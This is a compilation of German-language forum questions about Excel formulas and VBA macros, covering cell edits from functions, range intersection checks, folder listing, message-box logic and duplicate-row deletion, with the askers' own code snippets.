Es sollen entweder alle drei oder nur eins ausgefüllt werden müssen (oder halt zwei).... Habe es über VBA schon erstellt wie es aussehen soll, aber meine Kenntnisse beschränken sich nur auf (was mir google sagt probiere ich so lange bis es geht).... Anscheinend frage ich aber nicht richtig, auf jeden Fall komme ich aktuell nicht weiter... Kann m mir jemand helfen?

Danke im Voraus

Hallo Zusammen, kann mir jemand sagen wie ich mithilfe einer Function in Excel VBA den Inhalt einer Zelle ändern kann? Ich habe hier ein kleines Beispiel, während der Code in einem Sub scheinbar ohne Probleme ausgeführt wird, scheint dieser in einer Function zum Abbruch zu führen.

Vielen Dank für jede Antwort im Voraus!

Gruß Leo

Beispiel:

  Sub Test()

  ActiveCell.Offset(1, 1) = "1"

  End Sub

  Function Test()

  ActiveCell.Offset(1, 1) = "1"

  End Function

Moin!

Ich hab mir selber ein ein kleines Excel Projekt überlegt.

Meine Idee ist es eine Banking Software lite in Excel zu erstellen. Die ganzen Berechnungen etc. kriege ich hin.

Meine Frage ist, ob es eine Möglichkeit in Excel gibt (gerne auch VBA) die csv Datei automatisiert runterladen. Ich weiß, dass es von Bank zu Bank Unterschiede gibt. Ich bräuchte halt eine Idee einer Schnittstelle, die die Kommunikation zwischen Excel und der Bank regelt

Ich stell mir das derzeit so vor, dass Excel "Kontakt" zur Bank aufnimmt, sich anmeldet und die aktuelle csv Datei runterlädt, ähnlich wie Outlook Emails vom Email Server runterlädt / abgleicht.

Das Einbinden und Auswerten der Daten kriege ich hin.

Ich könnte auch alle Nase lang mir die csv Datei selber runterladen. Das ist aber nicht das was ich will. 😅

Vielleicht hat jemand ja eine Idee, wie ich die automatisierung bewerkstelligen könnte.

Hallo,

wie kann ich mit der Methode Application.Intersect zwei Bereiche miteinander Vergleichen?

Normalerweise kann ich ja z.b. mit :

If Not Application.Intersect(Target, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

Überprüfen ob eine Zelle in einem benannten Bereich ausgewählt oder sontiges ist.

Das klappt mit:

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

leider nur mittelmäßig.

Beispiel:

'''''''''''''''''''''''''''''''''''''1.
Set Bereich = Range("B1:B10")

'Ich markiere Zelle B1 bis B2 

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

'Ergebnis = Keine MsgBox - richtig

'''''''''''''''''''''''''''''''''''''2.
Set Bereich = Range("B1:B10")

'Ich markiere Zelle A1 bis A10  

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

'Ergebnis = MsgBox erscheint - richtig

'''''''''''''''''''''''''''''''''''''3.
Set Bereich = Range("B1:B10")

'Ich markiere Zelle A1 bis B1  

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

'Ergebnis = keine MsgBox - falsch, das soll nicht passieren

'''''''''''''''''''''''''''''''''''''4.
Set Bereich = Range("B1:B10")

'Ich markiere Zelle A1 bis C1  

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

'Ergebnis = keine MsgBox - falsch, das soll nicht passieren

'''''''''''''''''''''''''''''''''''''4.
Set Bereich = Range("B1:B10")

'Ich markiere Zelle B1 bis B15  

If Not Application.Intersect(Selection.Address, Bereich) Is Nothing Then
Msg "Nicht innerhalb"

'Ergebnis = keine MsgBox - falsch, das soll nicht passieren

Wie schaff ich es, dass die MsgBox immer dann auftaucht, wenn mindestens eine Zelle nicht im Bereich ist?
Also der Markierte Bereich MUSS mit jeder Zelle im Definierten Bereich liegen.

Und eine Lösung ohne 'Split' oder Umwege wäre mir lieb, außer es gibt halt keine andere xD

Hallo,

wie muss ich diesen Code hier umschreiben damit NICHT die Unterordner der Unterordner angezeigt werden, sondern nur die der 'ersten Stufe'.

Also angenommen auf dem Laufwerk C:\ sind die Ordner

A, B, C, D, E

und diese Unterordner von C:\ enthalten jeweils auch Unterordner Namens
aa, bb, cc, dd, ee,

Dann schreibt der bisherige Code

A - aa
bb
cc
dd
ee
B - aa
bb

und so weiter.
Ich brauche aber nur die Ordner A, B, C, D, E und nicht deren Unterordner.

Public Sub OrdnerListen_Start()

  Dim fso As Object
Dim strPfad As String

    strPfad = "C:\"  

With ActiveSheet   

    .UsedRange.ClearContents

    Set fso = CreateObject("Scripting.FileSystemObject")

    Call OrdnerListen(fso, strPfad, .Range("A1")) ' Pfad anpassen!

    Set fso = Nothing

   End With

   End Sub

Private Sub OrdnerListen(fso As Object, Ordnerangabe As String, rng As Range, Optional Zeile As Long, Optional Spalte As Long)

On Error Resume Next

  Dim o, uo

  Set o = fso.GetFolder(Ordnerangabe)   

  rng.Offset(Zeile, Spalte).Value = o.Name    
Zeile = Zeile + 1

  For Each o In o.SubFolders

    Call OrdnerListen(fso, o.Path, rng, Zeile, Spalte)

  Next

  Set o = Nothing
Set uo = Nothing

End Sub

Hallo ich möchte Folgendesachen, und brauche dazu jemand der sich mit VBA auskennt:

Ich möchte auf Knopfdruck (Excel Button) den Aktuellen Aktienkurs festhalten können (Also quasi einfrieren auf einer neuen Zelle. Dieser sollte sich natürlich nicht mit dem Aktuelen Kurs mitändern). Kann mir jemand erklären wie ich das machen kann?

Danke für eure Hilfe🙏🏻

Hallo, ich habe in der Excel folgende Funktion drin :=DATEDIF(B6;HEUTE();"y") (damit sich das Alter automatisch berechnet). Wenn ich jetzt nächstes Jahr die Excel Tabelle öffne ändert sich das alter von der Person automatisch in allen Tabellen. Jedoch möchte ich, dass das Alter zunächst mal fix bleibt und ich in der neuen Tabelle automatisch das neue Alter habe. Ist das Verständlich? Kann mir dabei jemand weiterhelfen?

Liebe Grüße

Hallo,

ich habe ein Excel Programm von einem Rechner mit Windows 7, Excel 64bit erstellt.
Dort funktioniert es auch einwandfrei.
Testet man es nun auf Windows 10, Excel 64 bit, kommt folgende Fehlermeldung:

64-Bit Office setzt 64-Bit Windows voraus (was der Fall ist).
Weiterhin kommt dann folgende Fehlermeldung:

Was kann ich tun?

Vielen Dank!

Hallo zusammen,

Wenn man fundierte VBA Kenntnisse im excel vorweisen kann, erhöhen sich die Jobchancen signifikant?

Ich mache mir Gedanken drüber ob neben Praktikum, Werkstudentenstelle, Auslandssemester noch VBA Kenntnisse aneignen soll. Es geht um Jobs später im Controlling bzw. Accounting/ Finance

Hallo, da hier doch so viele Könner unterwegs sind: Ich hänge schon wieder fest.

Ich habe zwei msg-Boxen vbYesNoCancel. Wenn die erste Box mit Ja bestätigt wird, wird eine Prozedur gestartet.
Wenn ich den Button Abbrechen klicke, soll die zuletzt geöffnete Userform neu geladen und die Sub beendet werden.

Wenn ich den Nein Button klicke öffnet sich die nächste msg Box vbYesNoCancel.
Wenn nun Ja geklickt wird, wird wieder eine Prozedur gestartet, beim Abbrechen wieder die Userform neu geladen und die Sub beendet.
Und bei Nein wird eine weitere Prozedur gestartet.

Eigentlich dürfte es ja nicht schwer sein, aber bei mir hängt es. Die Userform wird neu geladen aber die nächste msg Box öffnet nur und dann passiert nichts, wenn ich dort einen Button klicke.

So sieht es nun aus (und vielen Dank im Voraus):

Public Sub InspectionCriterion()
    Dim msg As String, msg2 As String, msg3 As String
    msg = MsgBox("Ist das Merkmal ein Gewinde?", vbYesNoCancel + vbQuestion, "")
    


    If msg = vbYes Then
    UserFormThread.Show
    ElseIf msg = vbNo Then
    msg2 = MsgBox("Ist das Merkmal zu messen?", vbYesNoCancel + vbQuestion, "")
    ElseIf msg = vbCancel Then
    Call InspectionFeatures
    Exit Sub
    


    If msg2 = vbYes Then
    UserFormDimension.Show
    ElseIf msg2 = vbNo Then UserFormText.Show
    Else
    Exit Sub
    End If
    End If
    
    
End Su  

Wenn ich den Entfernen Button aklicke kommt die MsgBox "Da steht nicht".
Die soll aber erst kommen wenn da wirklich nichts steht.
Kann mir jemand helfen?

LG

Gibt es einen easy Weg wie ich nach jeder dritte Zeile eine schwarzen Strich hinzufügen kann der mir die Zeilen in so 3er Blöcke teilt. Oder muss das in VBA gemacht werden?

Hallo zusammen!

Ich möchte bei einem Visual Basic Formular ein Textfeld erstellen wo automatisch der Benutzername eingetragen wird von dem der das Formular ausführt. Wie mach ich das bzw. wie lautet der Befehl?

Danke!

integerhallo liebe Community folgende Frage zur Deklaration von Jahr

Hätte ich anstatt integer auch Byte nehmen können ?

Vielen Dank schonmal

Hallo zusammen, ich hoffe dass jemand helfen kann weil ich weiß nicht weiter, danke.

Ich habe folgenden Code zum Suchen der Doppeltwerten in Spalte B und dann Löschung der Zeile:

Sub DoppelteZeilenLoeschen()

Dim letzteZeile As Long

Dim Zeile As Long

letzteZeile = Range("B" & Rows.Count).End(xlUp).Row

For Zeile = letzteZeile To 1 Step -1

 If WorksheetFunction.CountIf(Range("B1:B" & Zeile), Range("B" & Zeile)) > 1 Then

  Rows(Zeile).EntireRow.Delete

 End If

Next

End Sub

Jetzt meine Frage:

Was ich kann ich ergänzen, dass eine zweite Bedingung hier abgefragt wird vor der Löschung, also wenn Spalte "B" doppelwert hat dann Spalte "J" vergleichen, wenn Ergebnis der Spalte "J" gleich ist dann Zeile löschen, ansonsten weiter zählen.

Ein Bsp.

Spalte B Spalte J

1. ABCD 1234
2. ABCD 1234
3. ABCD 4567

Hier sollten nur Zeile2 gelöscht werden.

Vielen Dank im Voraus